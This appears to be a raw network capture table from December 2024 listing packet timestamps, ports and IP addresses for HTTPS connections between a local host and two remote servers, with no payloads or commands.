Dec 21, 2024 13:18:18.608151913 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.608256102 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.687714100 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.687885046 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.691318989 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.691442966 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.691468954 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.691606998 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.697446108 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.697779894 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.704941988 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.705118895 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.705132008 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.706260920 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.712697983 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.713212013 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.713221073 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.713279963 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.720369101 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.720725060 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.720733881 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.720959902 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.728157043 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.728341103 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.735924006 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.736139059 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.736149073 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.736633062 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.743575096 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.743802071 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.743810892 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.743896008 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.749553919 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.749706984 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.749722004 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.749828100 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.755631924 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.756009102 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.761462927 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.761698008 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.761706114 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.763284922 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.767482996 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.767569065 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.767591953 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.768239021 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.773560047 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.773739100 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.773746967 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.774152040 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.902044058 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.902057886 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.902098894 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.902178049 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.902203083 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.902298927 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.902327061 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.930543900 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.930562019 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.930850983 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.930865049 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.930953979 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.958589077 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.958607912 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.958765984 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.958765984 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.958784103 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.958856106 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.073527098 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.073596001 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.073704958 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.073719978 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.073770046 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.074182034 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.093802929 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.093849897 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.094006062 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.094006062 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.094018936 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.094224930 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.113539934 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.113585949 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.113702059 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.113702059 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.113712072 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.120165110 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.130167007 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.130235910 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.130357027 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.130357027 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.130373955 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.131961107 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.149142981 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.149193048 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.149327040 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.149327040 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.149342060 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.152296066 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.166855097 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.166899920 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.167061090 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.167061090 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.167077065 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.172276974 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.186073065 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.186122894 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.186167955 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.186182976 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.186253071 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.186253071 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.277466059 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.277520895 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.277748108 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.277748108 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.277765989 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.277816057 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.291249037 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.291294098 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.291348934 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.291363955 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.291435003 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.302464008 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.302509069 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.302584887 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.302602053 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.302666903 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.302666903 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.314776897 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.314821005 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.314873934 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.314887047 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.314951897 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.326129913 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.326195955 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.326253891 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.326266050 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.326340914 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.326340914 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.338360071 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.338387012 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.338493109 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.338505983 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.338532925 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.338629961 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.350318909 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.350372076 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.350497961 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.350516081 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.350533962 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.350596905 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.460386038 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.460453987 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.460505009 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.460519075 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.460575104 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.460575104 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.469017982 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.469063997 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.469100952 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.469115019 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.469166040 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.469166040 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.477488041 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.477534056 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.477612019 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.477612019 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.477626085 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.477682114 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.484754086 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.484800100 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.484841108 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.484853983 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.484873056 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.484955072 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.489319086 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.489376068 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.489396095 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.489408016 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.489455938 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.489455938 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.489514112 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:19.489665031 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.682475090 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:19.682507992 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:22.061521053 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:22.061575890 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:22.061683893 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:22.062884092 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:22.062899113 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:23.286782026 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:23.286866903 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:23.291019917 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:23.291029930 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:23.291430950 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:23.499352932 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:23.499433994 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:23.533401012 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:23.533401012 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:23.533518076 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:24.199095964 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:24.199189901 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:24.199460983 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:24.571177006 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:24.571192980 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:24.571233988 CET	49715	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:24.571239948 CET	443	49715	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:24.697623968 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:24.697669983 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:24.697819948 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:24.704668045 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:24.704687119 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:25.926665068 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:25.926744938 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:25.991889000 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:25.991929054 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:25.992686033 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:25.994462013 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:25.994501114 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:25.994626999 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691142082 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691270113 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691330910 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.691350937 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691553116 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691607952 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.691617012 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691737890 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691836119 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.691967964 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.691978931 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.692023039 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.699248075 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.712037086 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.712091923 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.712111950 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.810986996 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.811136961 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.811161041 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.886573076 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.886646032 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.886670113 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.886698961 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.886894941 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.886980057 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.982439995 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.982480049 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:26.982500076 CET	49727	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:26.982507944 CET	443	49727	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:27.367425919 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:27.367485046 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:27.367567062 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:27.368267059 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:27.368284941 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.056907892 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.057008028 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.089711905 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.089734077 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.090694904 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.128771067 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.128992081 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.129045010 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.907058001 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.907356977 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.907768965 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.909080982 CET	49745	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.909094095 CET	443	49745	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.950427055 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.950485945 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:29.950568914 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.953866959 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:29.953902960 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:31.170263052 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:31.170363903 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:31.172086000 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:31.172106028 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:31.172362089 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:31.180527925 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:31.180773973 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:31.180840015 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:31.180955887 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:31.227365971 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:32.008224964 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:32.008449078 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:32.008645058 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:32.013927937 CET	49750	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:32.013962984 CET	443	49750	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:32.371221066 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:32.371252060 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:32.371335030 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:32.372092962 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:32.372123003 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:33.593112946 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:33.593242884 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:33.595158100 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:33.595166922 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:33.596122980 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:33.605659962 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:33.605917931 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:33.605963945 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:33.606311083 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:33.606323004 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:34.569575071 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:34.569806099 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:34.570111036 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:34.570322037 CET	49756	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:34.570339918 CET	443	49756	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:34.681658983 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:34.681705952 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:34.681865931 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:34.682285070 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:34.682300091 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:35.898298979 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:35.898401976 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:35.904836893 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:35.904860020 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:35.905167103 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:35.906920910 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:35.907038927 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:35.907044888 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:36.685497999 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:36.685769081 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:36.685873032 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:36.686002970 CET	49762	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:36.686017036 CET	443	49762	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:37.129431009 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:37.129487038 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:37.129965067 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:37.129965067 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:37.130002022 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.349828005 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.349929094 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.351685047 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.351695061 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.352261066 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.353733063 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.354568005 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.354608059 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.354696989 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.354723930 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.354818106 CET	49768	443	192.168.2.7	172.67.197.170
